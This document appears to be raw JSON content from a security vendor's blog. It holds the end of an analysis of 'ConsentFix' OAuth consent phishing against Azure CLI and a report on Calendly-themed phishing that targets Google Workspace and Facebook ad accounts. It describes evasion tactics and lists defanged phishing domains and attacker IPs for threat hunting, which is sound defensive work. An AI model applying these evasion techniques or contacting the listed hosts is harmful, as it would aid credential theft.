",{"data":10061,"content":10062,"nodeType":866},{},[10063],{"data":10064,"marks":10065,"value":10066,"nodeType":865},{},[],"As well as the use of Google Search to deliver the lure, and bot protection to prevent security tools from analyzing the page, there were multiple layers of anti-analysis techniques to navigate.",{"data":10068,"content":10069,"nodeType":866},{},[10070,10074,10079],{"data":10071,"marks":10072,"value":10073,"nodeType":865},{},[],"We already mentioned the use of selective targeting based on email addresses and domain names. But all sites involved in the campaign also have synchronized IP blocking — meaning if you visit one site and are served one of the associated phishing pages, the phish will never be served again, ",{"data":10075,"marks":10076,"value":10078,"nodeType":865},{},[10077],{"type":935},"across any of the sites linked to the campaign",{"data":10080,"marks":10081,"value":10082,"nodeType":865},{},[],". When you visit any of the sites again, the phish won't trigger, and it can be browsed as normal. ",{"data":10084,"content":10085,"nodeType":866},{},[10086],{"data":10087,"marks":10088,"value":10089,"nodeType":865},{},[],"On the backend, there are multiple checks based on your IP and identifiers unique to your session. Unless all of the conditions are met, certain JavaScript packages won't be served — preventing full inspection of the page to detect malicious elements. ",{"data":10091,"content":10092,"nodeType":866},{},[10093],{"data":10094,"marks":10095,"value":10096,"nodeType":865},{},[],"If the conditions aren't met, the page may not load the Cloudflare Turnstile check at all, or will redirect you back to the site to continue browsing as normal.",{"data":10098,"content":10102,"nodeType":921},{"target":10099},{"sys":10100},{"id":10101,"type":918,"linkType":919},"5v0zDoscA6pYLBfkXrNtIH",[],{"data":10104,"content":10105,"nodeType":866},{},[10106],{"data":10107,"marks":10108,"value":10109,"nodeType":865},{},[],"All of these make it incredibly hard to detect and block these attacks ahead of time when relying on URL-based checks and traffic analysis.",{"data":10111,"content":10112,"nodeType":944},{},[],{"data":10114,"content":10115,"nodeType":953},{},[10116],{"data":10117,"marks":10118,"value":10120,"nodeType":865},{},[10119],{"type":935},"Key takeaways",{"data":10122,"content":10123,"nodeType":866},{},[10124],{"data":10125,"marks":10126,"value":10127,"nodeType":865},{},[],"ConsentFix is a dangerous evolution of ClickFix and consent phishing that is incredibly hard for traditional security tools to detect and block, as:",{"data":10129,"content":10130,"nodeType":2374},{},[10131,10141,10151,10161,10171],{"data":10132,"content":10133,"nodeType":2309},{},[10134],{"data":10135,"content":10136,"nodeType":866},{},[10137],{"data":10138,"marks":10139,"value":10140,"nodeType":865},{},[],"The attack happens entirely inside the browser context, removing one of the key detection opportunities for ClickFix (because it doesn’t touch the endpoint).",{"data":10142,"content":10143,"nodeType":2309},{},[10144],{"data":10145,"content":10146,"nodeType":866},{},[10147],{"data":10148,"marks":10149,"value":10150,"nodeType":865},{},[],"Delivering the lure via a Google Search watering hole attack completely circumvents email-based anti-phishing controls.",{"data":10152,"content":10153,"nodeType":2309},{},[10154],{"data":10155,"content":10156,"nodeType":866},{},[10157],{"data":10158,"marks":10159,"value":10160,"nodeType":865},{},[],"Targeting a first-party app like Azure CLI means that many of the mitigating controls available for third-party app integrations do not apply — making this attack way harder to prevent.",{"data":10162,"content":10163,"nodeType":2309},{},[10164],{"data":10165,"content":10166,"nodeType":866},{},[10167],{"data":10168,"marks":10169,"value":10170,"nodeType":865},{},[],"Because there’s no login required, phishing-resistant authentication controls like passkeys have no impact on this attack. ",{"data":10172,"content":10173,"nodeType":2309},{},[10174],{"data":10175,"content":10176,"nodeType":866},{},[10177],{"data":10178,"marks":10179,"value":10180,"nodeType":865},{},[],"The use of advanced detection evasion techniques makes this attack difficult to investigate, meaning these attacks are going undetected. ",{"data":10182,"content":10183,"nodeType":866},{},[10184],{"data":10185,"marks":10186,"value":10187,"nodeType":865},{},[],"We’re sure to see more examples of ConsentFix in future. We’ll be monitoring to see how attackers adapt in terms of integrating these capabilities with common as-a-Service offerings to make them more widespread, and whether the scope extends further beyond Microsoft / Azure CLI targets in the future to target other enterprise cloud ecosystems. ",{"data":10189,"content":10190,"nodeType":944},{},[],{"data":10192,"content":10193,"nodeType":953},{},[10194],{"data":10195,"marks":10196,"value":10198,"nodeType":865},{},[10197],{"type":935},"Recommendations",{"data":10200,"content":10204,"nodeType":921},{"target":10201},{"sys":10202},{"id":10203,"type":918,"linkType":919},"3aBCwdB2aNnLRxRN5RrshC",[],{"data":10206,"content":10207,"nodeType":866},{},[10208],{"data":10209,"marks":10210,"value":10211,"nodeType":865},{},[],"On the backend, exploitation of this attack will lead to login events being observed to the Microsoft Azure CLI app. It’s likely that any legitimate use of this will most likely be limited to system administrators and possibly developers. Therefore, logins outside of these groups will be inherently more suspicious.",{"data":10213,"content":10214,"nodeType":866},{},[10215],{"data":10216,"marks":10217,"value":10218,"nodeType":865},{},[],"Additionally, it’s possible that aspects of the logins themselves will be different between legitimate Azure CLI use and exploitation of this attack. For example, see the following logs from a lab environment. The login events with an application of  “Microsoft Azure CLI” and a resource of “Azure Resource Manager” was legitimate use of the Azure CLI using the powershell CLI framework. Conversely, the login event with the Resource of “Windows Azure Active Directory” was produced by logging in using the method used by the phishing kit.",{"data":10220,"content":10224,"nodeType":921},{"target":10221},{"sys":10222},{"id":10223,"type":918,"linkType":919},"6ie0nkk6XbgwidfwmiGwL4",[],{"data":10226,"content":10227,"nodeType":866},{},[10228],{"data":10229,"marks":10230,"value":10231,"nodeType":865},{},[],"There is no guarantee this can be used to differentiate between legitimate and malicious examples, but it’s another data point to consider. If searching logs you may wish to use the respective GUIDs for these:",{"data":10233,"content":10234,"nodeType":2374},{},[10235,10250],{"data":10236,"content":10237,"nodeType":2309},{},[10238],{"data":10239,"content":10240,"nodeType":866},{},[10241,10246],{"data":10242,"marks":10243,"value":10245,"nodeType":865},{},[10244],{"type":935},"Application ID",{"data":10247,"marks":10248,"value":10249,"nodeType":865},{},[]," = 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":10251,"content":10252,"nodeType":2309},{},[10253],{"data":10254,"content":10255,"nodeType":866},{},[10256,10261],{"data":10257,"marks":10258,"value":10260,"nodeType":865},{},[10259],{"type":935},"Resource ID",{"data":10262,"marks":10263,"value":10264,"nodeType":865},{},[]," = 00000002-0000-0000-c000-000000000000",{"data":10266,"content":10267,"nodeType":866},{},[10268],{"data":10269,"marks":10270,"value":10271,"nodeType":865},{},[],"For interactive logins, like above, you cannot rely on looking for logins from suspicious IP addresses or locations. The login itself occurs from the victims browser directly to Microsoft, and so the IP addresses associated with these events will be the legitimate IP used by the target user, not by the threat actor. ",{"data":10273,"content":10274,"nodeType":866},{},[10275],{"data":10276,"marks":10277,"value":10278,"nodeType":865},{},[],"However, for non-interactive logins and other audit logs for actions taken, you may be able to uncover unusual IP addresses that differ from the original interactive login. For example, here are some non-interactive logins that were observed immediately after compromise that came from different IP addresses in both the US and Indonesia.",{"data":10280,"content":10284,"nodeType":921},{"target":10281},{"sys":10282},{"id":10283,"type":918,"linkType":919},"TD3YeWqgGIWIWM8FRHU4o",[],{"data":10286,"content":10287,"nodeType":866},{},[10288],{"data":10289,"marks":10290,"value":10291,"nodeType":865},{},[],"Interestingly, they differ in which resources they accessed, with one accessing the Windows Azure Active Directory resource ID like the interactive login, but two others accessing the Microsoft Intune Checkin resource ID. ",{"data":10293,"content":10297,"nodeType":921},{"target":10294},{"sys":10295},{"id":10296,"type":918,"linkType":919},"57PqDQiAiwzqkspVpROQXb",[],{"data":10299,"content":10300,"nodeType":1229},{},[10301],{"data":10302,"marks":10303,"value":3237,"nodeType":865},{},[10304],{"type":935},{"data":10306,"content":10307,"nodeType":866},{},[10308,10311,10318],{"data":10309,"marks":10310,"value":5544,"nodeType":865},{},[],{"data":10312,"content":10313,"nodeType":889},{"uri":1517},[10314],{"data":10315,"marks":10316,"value":1522,"nodeType":865},{},[10317],{"type":1191},{"data":10319,"marks":10320,"value":10321,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":10323,"content":10324,"nodeType":866},{},[10325],{"data":10326,"marks":10327,"value":10328,"nodeType":865},{},[],"That said, the domains used to deliver the final phishing payload were:",{"data":10330,"content":10331,"nodeType":2374},{},[10332,10342,10352],{"data":10333,"content":10334,"nodeType":2309},{},[10335],{"data":10336,"content":10337,"nodeType":866},{},[10338],{"data":10339,"marks":10340,"value":10341,"nodeType":865},{},[],"hxxps://trustpointassurance.com/",{"data":10343,"content":10344,"nodeType":2309},{},[10345],{"data":10346,"content":10347,"nodeType":866},{},[10348],{"data":10349,"marks":10350,"value":10351,"nodeType":865},{},[],"hxxps://fastwaycheck.com/",{"data":10353,"content":10354,"nodeType":2309},{},[10355],{"data":10356,"content":10357,"nodeType":866},{},[10358],{"data":10359,"marks":10360,"value":10361,"nodeType":865},{},[],"hxxps://previewcentral.com",{"data":10363,"content":10364,"nodeType":866},{},[10365],{"data":10366,"marks":10367,"value":10368,"nodeType":865},{},[],"In addition, we recommend hunting for connections from the following IPs in Azure logs:",{"data":10370,"content":10371,"nodeType":2374},{},[10372,10382,10392],{"data":10373,"content":10374,"nodeType":2309},{},[10375],{"data":10376,"content":10377,"nodeType":866},{},[10378],{"data":10379,"marks":10380,"value":10381,"nodeType":865},{},[],"12.75.216.90",{"data":10383,"content":10384,"nodeType":2309},{},[10385],{"data":10386,"content":10387,"nodeType":866},{},[10388],{"data":10389,"marks":10390,"value":10391,"nodeType":865},{},[],"182.3.36.223",{"data":10393,"content":10394,"nodeType":2309},{},[10395],{"data":10396,"content":10397,"nodeType":866},{},[10398],{"data":10399,"marks":10400,"value":10401,"nodeType":865},{},[],"12.75.116.137",{"data":10403,"content":10404,"nodeType":944},{},[],{"data":10406,"content":10407,"nodeType":953},{},[10408],{"data":10409,"marks":10410,"value":10412,"nodeType":865},{},[10411],{"type":935},"How Push stopped the attack",{"data":10414,"content":10415,"nodeType":866},{},[10416],{"data":10417,"marks":10418,"value":10419,"nodeType":865},{},[],"Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. ",{"data":10421,"content":10425,"nodeType":921},{"target":10422},{"sys":10423},{"id":10424,"type":918,"linkType":919},"5YzpiQH974EYA5iPPZMXkV",[],{"data":10427,"content":10428,"nodeType":866},{},[10429,10433,10441],{"data":10430,"marks":10431,"value":10432,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that Push sees what your users see. It doesn’t matter what ",{"data":10434,"content":10435,"nodeType":889},{"uri":1388},[10436],{"data":10437,"marks":10438,"value":10440,"nodeType":865},{},[10439],{"type":1191},"delivery channel or camouflage methods are used",{"data":10442,"marks":10443,"value":10444,"nodeType":865},{},[],", Push shuts the attack down in real time, as the user loads the malicious page in their web browser.",{"data":10446,"content":10447,"nodeType":866},{},[10448],{"data":10449,"marks":10450,"value":10451,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":10453,"content":10454,"nodeType":866},{},[10455,10458,10465,10468,10475],{"data":10456,"marks":10457,"value":9514,"nodeType":865},{},[],{"data":10459,"content":10460,"nodeType":889},{"uri":3192},[10461],{"data":10462,"marks":10463,"value":3198,"nodeType":865},{},[10464],{"type":1191},{"data":10466,"marks":10467,"value":9525,"nodeType":865},{},[],{"data":10469,"content":10470,"nodeType":889},{"uri":2644},[10471],{"data":10472,"marks":10473,"value":3223,"nodeType":865},{},[10474],{"type":1191},{"data":10476,"marks":10477,"value":1066,"nodeType":865},{},[],{"data":10479,"content":10482,"nodeType":921},{"target":10480},{"sys":10481},{"id":9540,"type":918,"linkType":919},[],{"data":10484,"content":10485,"nodeType":866},{},[10486],{"data":10487,"marks":10488,"value":21,"nodeType":865},{},[],"Analyzing \"ConsentFix\", a new browser-native attack technique we've detected in the wild, combining OAuth consent phishing with a ClickFix-style user prompt. ","2025-12-11T00:00:00.000Z",{"items":10492},[10493,10495],{"sys":10494,"name":2663},{"id":2662},{"sys":10496,"name":342},{"id":2666},{"items":10498},[10499],{"fullName":10500,"firstName":10501,"jobTitle":10502,"profilePicture":10503},"Luke Jennings","Luke","Vice President, R&D",{"url":10504},"https://images.ctfassets.net/y1cdw1ablpvd/4Hosb4zKi1dA0PUyDLMe1h/27e09d894861f2196ba794037986fb08/T016S22KZ96-U02NVQM7ZD4-57761d542d83-512.jpeg",{"__typename":1802,"sys":10506,"content":10507,"title":6646,"synopsis":11088,"hashTags":59,"publishedDate":11089,"slug":6647,"tagsCollection":11090,"authorsCollection":11096},{"id":5958},{"json":10508},{"data":10509,"content":10510,"nodeType":1663},{},[10511,10518,10525,10532,10538,10545,10548,10556,10563,10570,10577,10583,10590,10596,10603,10609,10616,10622,10652,10659,10665,10672,10678,10685,10691,10698,10741,10744,10752,10759,10766,10773,10779,10782,10790,10797,10817,10823,10829,10835,10842,10848,10854,10874,10877,10885,10904,10910,10917,10935,10943,10950,10957,10964,10982,10990,10997,11003,11006,11013,11020,11027,11030,11037,11044,11051,11077,11082],{"data":10512,"content":10513,"nodeType":866},{},[10514],{"data":10515,"marks":10516,"value":10517,"nodeType":865},{},[],"We recently investigated a sophisticated phishing campaign targeting Google Workspace and Facebook Business accounts with Calendly-themed phishing lures, based around a fake job opportunity. ",{"data":10519,"content":10520,"nodeType":866},{},[10521],{"data":10522,"marks":10523,"value":10524,"nodeType":865},{},[],"We were first alerted to the campaign when a Push customer was hit with a highly targeted email-based attack, where the attacker used an Attacker-in-the-Middle (AiTM) phishing toolkit to target the customer’s Google Workspace account. ",{"data":10526,"content":10527,"nodeType":866},{},[10528],{"data":10529,"marks":10530,"value":10531,"nodeType":865},{},[],"In this case, Google was the customer’s primary enterprise IdP account, used to access native Google suite apps as well as SSO to downstream apps — effectively, the front door to their business IT stack. Despite this, the attacker’s MO was specifically the takeover of accounts used for the management of digital ads. ",{"data":10533,"content":10537,"nodeType":921},{"target":10534},{"sys":10535},{"id":10536,"type":918,"linkType":919},"5oivBCf1Fqvnq0GNCSko8f",[],{"data":10539,"content":10540,"nodeType":866},{},[10541],{"data":10542,"marks":10543,"value":10544,"nodeType":865},{},[],"In this blog post, we break down the various TTPs used by the attacker across the campaign, and consider why ad management platforms are being specifically targeted.  ",{"data":10546,"content":10547,"nodeType":944},{},[],{"data":10549,"content":10550,"nodeType":953},{},[10551],{"data":10552,"marks":10553,"value":10555,"nodeType":865},{},[10554],{"type":935},"Variant 1: Targeting Google Workspace with a sophisticated email phish ",{"data":10557,"content":10558,"nodeType":866},{},[10559],{"data":10560,"marks":10561,"value":10562,"nodeType":865},{},[],"The first phishing variant we analyzed began with a multi-stage phishing email lure, framed as a job opportunity for LVMH (Louis Vuitton Moët Hennessy), which oversees more than 75 brands across sectors like fashion, cosmetics, watches, and spirits. The specific delivery address is impersonating “Inside LVMH”, the talent acquisition and training arm of LVMH.  ",{"data":10564,"content":10565,"nodeType":866},{},[10566],{"data":10567,"marks":10568,"value":10569,"nodeType":865},{},[],"This lure is notable for multiple reasons. It is highly targeted, well-written, populated with information from the victim, and coming from what appears to be a legitimate employee of LVMH. Even if the victim was initially suspicious, searching for the recruiter’s name would appear to confirm their identity.  ",{"data":10571,"content":10572,"nodeType":866},{},[10573],{"data":10574,"marks":10575,"value":10576,"nodeType":865},{},[],"It is possible, even likely, that this interaction was operated using AI, using information scraped from the internet — but in any case, the outcome achieved is highly convincing. ",{"data":10578,"content":10582,"nodeType":921},{"target":10579},{"sys":10580},{"id":10581,"type":918,"linkType":919},"46BYpquURERbkhWc6C2Lpc",[],{"data":10584,"content":10585,"nodeType":866},{},[10586],{"data":10587,"marks":10588,"value":10589,"nodeType":865},{},[],"Only after the victim has responded to an initial email was the phishing link delivered under the guise of a Calendly link to book time for a call. ",{"data":10591,"content":10595,"nodeType":921},{"target":10592},{"sys":10593},{"id":10594,"type":918,"linkType":919},"37GBkfXGEdWvdQbMq65sad",[],{"data":10597,"content":10598,"nodeType":866},{},[10599],{"data":10600,"marks":10601,"value":10602,"nodeType":865},{},[],"Clicking the link takes the victim to an authentic-looking page impersonating a Calendly landing page.",{"data":10604,"content":10608,"nodeType":921},{"target":10605},{"sys":10606},{"id":10607,"type":918,"linkType":919},"1DwOPzK7mxsoJlEBp8cMpr",[],{"data":10610,"content":10611,"nodeType":866},{},[10612],{"data":10613,"marks":10614,"value":10615,"nodeType":865},{},[],"After completing the CAPTCHA check and selecting \"Continue with Google” the victim is redirected to an AiTM phishing page designed to capture Google Workspace credentials, with specific branding impersonating Calendly — making this visually distinct from most common Google-themed phishing pages. ",{"data":10617,"content":10621,"nodeType":921},{"target":10618},{"sys":10619},{"id":10620,"type":918,"linkType":919},"u1SY1uUX23sxfBYLpyaKb",[],{"data":10623,"content":10624,"nodeType":866},{},[10625,10629,10637,10641,10648],{"data":10626,"marks":10627,"value":10628,"nodeType":865},{},[],"This page uses ",{"data":10630,"content":10631,"nodeType":889},{"uri":9195},[10632],{"data":10633,"marks":10634,"value":10636,"nodeType":865},{},[10635],{"type":1191},"specific targeting parameters",{"data":10638,"marks":10639,"value":10640,"nodeType":865},{},[]," to ensure that only the intended recipient is able to access the page’s malicious functionality — a well-known ",{"data":10642,"content":10643,"nodeType":889},{"uri":1388},[10644],{"data":10645,"marks":10646,"value":1393,"nodeType":865},{},[10647],{"type":1191},{"data":10649,"marks":10650,"value":10651,"nodeType":865},{},[]," to prevent security analysts from being able to fully analyse the page (as malicious elements are not rendered until this check is completed). ",{"data":10653,"content":10654,"nodeType":866},{},[10655],{"data":10656,"marks":10657,"value":10658,"nodeType":865},{},[],"As you can see in the example below, attempts to use any email other than the intended victim’s email domain are blocked.   ",{"data":10660,"content":10664,"nodeType":921},{"target":10661},{"sys":10662},{"id":10663,"type":918,"linkType":919},"5m8LvVYjXz0zrITgTWqxio",[],{"data":10666,"content":10667,"nodeType":866},{},[10668],{"data":10669,"marks":10670,"value":10671,"nodeType":865},{},[],"Only entering an allowed email domain loads the password entry field. ",{"data":10673,"content":10677,"nodeType":921},{"target":10674},{"sys":10675},{"id":10676,"type":918,"linkType":919},"6KFRJSsgk2pB6x67kWdpws",[],{"data":10679,"content":10680,"nodeType":866},{},[10681],{"data":10682,"marks":10683,"value":10684,"nodeType":865},{},[],"We identified a number of pages that appear to be part of the same campaign. All these pages have the same visual style, Calendly-themed lure targeting Google Workspace accounts, and appear to match real employees of the respective companies being impersonated. ",{"data":10686,"content":10690,"nodeType":921},{"target":10687},{"sys":10688},{"id":10689,"type":918,"linkType":919},"zMkN1U5QlvIEcfOGmhBBf",[],{"data":10692,"content":10693,"nodeType":866},{},[10694],{"data":10695,"marks":10696,"value":10697,"nodeType":865},{},[],"The different pages include:",{"data":10699,"content":10700,"nodeType":2374},{},[10701,10711,10721,10731],{"data":10702,"content":10703,"nodeType":2309},{},[10704],{"data":10705,"content":10706,"nodeType":866},{},[10707],{"data":10708,"marks":10709,"value":10710,"nodeType":865},{},[],"A different visual match for the LVMH page.",{"data":10712,"content":10713,"nodeType":2309},{},[10714],{"data":10715,"content":10716,"nodeType":866},{},[10717],{"data":10718,"marks":10719,"value":10720,"nodeType":865},{},[],"A Lego recruitment themed page.",{"data":10722,"content":10723,"nodeType":2309},{},[10724],{"data":10725,"content":10726,"nodeType":866},{},[10727],{"data":10728,"marks":10729,"value":10730,"nodeType":865},{},[],"A Mastercard HR themed page.",{"data":10732,"content":10733,"nodeType":2309},{},[10734],{"data":10735,"content":10736,"nodeType":866},{},[10737],{"data":10738,"marks":10739,"value":10740,"nodeType":865},{},[],"An Uber recruitment themed page.",{"data":10742,"content":10743,"nodeType":944},{},[],{"data":10745,"content":10746,"nodeType":953},{},[10747],{"data":10748,"marks":10749,"value":10751,"nodeType":865},{},[10750],{"type":935},"Variant 2: Targeting Facebook Business accounts",{"data":10753,"content":10754,"nodeType":866},{},[10755],{"data":10756,"marks":10757,"value":10758,"nodeType":865},{},[],"Upon further investigation, we found links to a second phishing page style that appears to be part of a longer campaign targeting Facebook accounts, dating back more than two years. ",{"data":10760,"content":10761,"nodeType":866},{},[10762],{"data":10763,"marks":10764,"value":10765,"nodeType":865},{},[],"In total, we identified 31 unique URLs associated with the same campaign, many of which were recycled over time to impersonate different brands. ",{"data":10767,"content":10768,"nodeType":866},{},[10769],{"data":10770,"marks":10771,"value":10772,"nodeType":865},{},[],"Since most of these pages appeared to be older (and no longer live) they could not be analysed further, beyond giving an indication of how the phishing campaign has evolved over time. ",{"data":10774,"content":10778,"nodeType":921},{"target":10775},{"sys":10776},{"id":10777,"type":918,"linkType":919},"5PFRI9XtNVdkpYiRoIYpF",[],{"data":10780,"content":10781,"nodeType":944},{},[],{"data":10783,"content":10784,"nodeType":953},{},[10785],{"data":10786,"marks":10787,"value":10789,"nodeType":865},{},[10788],{"type":935},"Variant 3: Targeting both Google and Facebook accounts",{"data":10791,"content":10792,"nodeType":866},{},[10793],{"data":10794,"marks":10795,"value":10796,"nodeType":865},{},[],"We also discovered a third, more recent variant targeting both Google and Facebook accounts with Calendly-styled pages.",{"data":10798,"content":10799,"nodeType":866},{},[10800,10804,10813],{"data":10801,"marks":10802,"value":10803,"nodeType":865},{},[],"This variant looks to leverage a Browser-in-the-Browser style pop-up window similar to the ",{"data":10805,"content":10807,"nodeType":889},{"uri":10806},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page/",[10808],{"data":10809,"marks":10810,"value":10812,"nodeType":865},{},[10811],{"type":1191},"Sneaky2FA attacks we reported on recently",{"data":10814,"marks":10815,"value":10816,"nodeType":865},{},[],". BITB allows the attacker to mask the phishing page URL by presenting a fake URL set by the attacker, inside a pop-up login window. ",{"data":10818,"content":10822,"nodeType":921},{"target":10819},{"sys":10820},{"id":10821,"type":918,"linkType":919},"7w4cmyqPvhxAFrokaK9CE1",[],{"data":10824,"content":10828,"nodeType":921},{"target":10825},{"sys":10826},{"id":10827,"type":918,"linkType":919},"6FUSNecz0BXLxJxoJTsALD",[],{"data":10830,"content":10834,"nodeType":921},{"target":10831},{"sys":10832},{"id":10833,"type":918,"linkType":919},"2zwFDrgsLuxi4Xv2q0nPFK",[],{"data":10836,"content":10837,"nodeType":866},{},[10838],{"data":10839,"marks":10840,"value":10841,"nodeType":865},{},[],"The attacker also implemented additional anti-analysis functionality, beyond the specific domain targeting we observed in the first page variant — the result of which meant the page IP blocked us from interacting with it further. ",{"data":10843,"content":10847,"nodeType":921},{"target":10844},{"sys":10845},{"id":10846,"type":918,"linkType":919},"3ZPdxi5cGZcn5hF1ISIUa7",[],{"data":10849,"content":10853,"nodeType":921},{"target":10850},{"sys":10851},{"id":10852,"type":918,"linkType":919},"3J5pmgNL9LevE1FdX4oksf",[],{"data":10855,"content":10856,"nodeType":866},{},[10857,10861,10870],{"data":10858,"marks":10859,"value":10860,"nodeType":865},{},[],"Often ",{"data":10862,"content":10864,"nodeType":889},{"uri":10863},"https://phishing-techniques.pushsecurity.com/techniques/anti-sandbox/",[10865],{"data":10866,"marks":10867,"value":10869,"nodeType":865},{},[10868],{"type":1191},"accessing dev tools",{"data":10871,"marks":10872,"value":10873,"nodeType":865},{},[]," on a page is enough to trigger this, specifically targeting security analysts and web-crawling security bots/tools. ",{"data":10875,"content":10876,"nodeType":944},{},[],{"data":10878,"content":10879,"nodeType":953},{},[10880],{"data":10881,"marks":10882,"value":10884,"nodeType":865},{},[10883],{"type":935},"Why are attackers targeting business ad management accounts?",{"data":10886,"content":10887,"nodeType":866},{},[10888,10892,10900],{"data":10889,"marks":10890,"value":10891,"nodeType":865},{},[],"The campaign shows signs of being a long-running, targeted initiative focused on compromising accounts responsible for managing digital ads on behalf of businesses. The attackers have demonstrated that they are continuing to iterate on their TTPs, introducing new page styles with increased sophistication, and new ",{"data":10893,"content":10895,"nodeType":889},{"uri":10894},"https://phishing-techniques.pushsecurity.com/#techniques-table",[10896],{"data":10897,"marks":10898,"value":9135,"nodeType":865},{},[10899],{"type":1191},{"data":10901,"marks":10902,"value":10903,"nodeType":865},{},[]," to defeat security analysis tools.  ",{"data":10905,"content":10909,"nodeType":921},{"target":10906},{"sys":10907},{"id":10908,"type":918,"linkType":919},"m5GsTsDb55T70MU2m72B1",[],{"data":10911,"content":10912,"nodeType":866},{},[10913],{"data":10914,"marks":10915,"value":10916,"nodeType":865},{},[],"We also discovered that Google recently issued a security warning specifically for agency organizations managing ads for a number of businesses, urging them to create security alerts whenever a new account is added to a Manager Account (MCC) used to view and manage multiple Google Ads accounts from a single view. ",{"data":10918,"content":10919,"nodeType":866},{},[10920,10924,10931],{"data":10921,"marks":10922,"value":10923,"nodeType":865},{},[],"With malvertising on the rise as an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ",{"data":10925,"content":10926,"nodeType":889},{"uri":9915},[10927],{"data":10928,"marks":10929,"value":315,"nodeType":865},{},[10930],{"type":1191},{"data":10932,"marks":10933,"value":10934,"nodeType":865},{},[]," (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search), it makes sense that attackers are looking to increase their web of accounts from which to launch malicious ads. ",{"data":10936,"content":10937,"nodeType":1229},{},[10938],{"data":10939,"marks":10940,"value":10942,"nodeType":865},{},[10941],{"type":935},"Why are attackers turning to malvertising?",{"data":10944,"content":10945,"nodeType":866},{},[10946],{"data":10947,"marks":10948,"value":10949,"nodeType":865},{},[],"Malvertising attacks delivered over search engines (e.g. Google Search) and social media apps (Facebook, LinkedIn, etc.) are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":10951,"content":10952,"nodeType":866},{},[10953],{"data":10954,"marks":10955,"value":10956,"nodeType":865},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). ",{"data":10958,"content":10959,"nodeType":866},{},[10960],{"data":10961,"marks":10962,"value":10963,"nodeType":865},{},[],"However, that isn’t to say that malvertising attacks can’t be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. ",{"data":10965,"content":10966,"nodeType":866},{},[10967,10971,10978],{"data":10968,"marks":10969,"value":10970,"nodeType":865},{},[],"Malvertising is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":10972,"content":10973,"nodeType":889},{"uri":2299},[10974],{"data":10975,"marks":10976,"value":2304,"nodeType":865},{},[10977],{"type":1191},{"data":10979,"marks":10980,"value":10981,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and access are an increasingly profitable commodity for cyber criminals. ",{"data":10983,"content":10984,"nodeType":1229},{},[10985],{"data":10986,"marks":10987,"value":10989,"nodeType":865},{},[10988],{"type":935},"Additional considerations",{"data":10991,"content":10992,"nodeType":866},{},[10993],{"data":10994,"marks":10995,"value":10996,"nodeType":865},{},[],"As previously mentioned, compromising a Google Workspace account (particularly where it is the primary enterprise cloud platform used by the organization) provides comprehensive access to business apps, data, and functionality that can be exploited by attackers — effectively, it’s the access point to modern business IT. There’s a good chance that attackers establishing a foothold in this way would look to leverage this access further, or at least sell on that access to a criminal group looking to take the attack further. ",{"data":10998,"content":11002,"nodeType":921},{"target":10999},{"sys":11000},{"id":11001,"type":918,"linkType":919},"7jnQqRk0JuqEtrQ3HXy3f8",[],{"data":11004,"content":11005,"nodeType":944},{},[],{"data":11007,"content":11008,"nodeType":953},{},[11009],{"data":11010,"marks":11011,"value":3237,"nodeType":865},{},[11012],{"type":935},{"data":11014,"content":11015,"nodeType":866},{},[11016],{"data":11017,"marks":11018,"value":11019,"nodeType":865},{},[],"We have opted not to provide the domains associated with that campaign to preserve the privacy of the individuals being impersonated by the attacker. In many cases, their full name was included in the URL for the phishing page, while their name and profile picture (most likely scraped from LinkedIn) are also visible on the landing page. ",{"data":11021,"content":11022,"nodeType":866},{},[11023],{"data":11024,"marks":11025,"value":11026,"nodeType":865},{},[],"However, with the rate at which these domains were spun up and subsequently taken down (by the attacker or the site hosting the links) IoC-based detections for campaigns such as this are of limited value. ",{"data":11028,"content":11029,"nodeType":944},{},[],{"data":11031,"content":11032,"nodeType":953},{},[11033],{"data":11034,"marks":11035,"value":5589,"nodeType":865},{},[11036],{"type":935},{"data":11038,"content":11039,"nodeType":866},{},[11040],{"data":11041,"marks":11042,"value":11043,"nodeType":865},{},[],"Push researchers are continuously analysing and developing new detections based on the latest phishing kits and TTPs which enables us to stay two steps ahead of attackers.",{"data":11045,"content":11046,"nodeType":866},{},[11047],{"data":11048,"marks":11049,"value":11050,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive detection and response capabilities against attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack 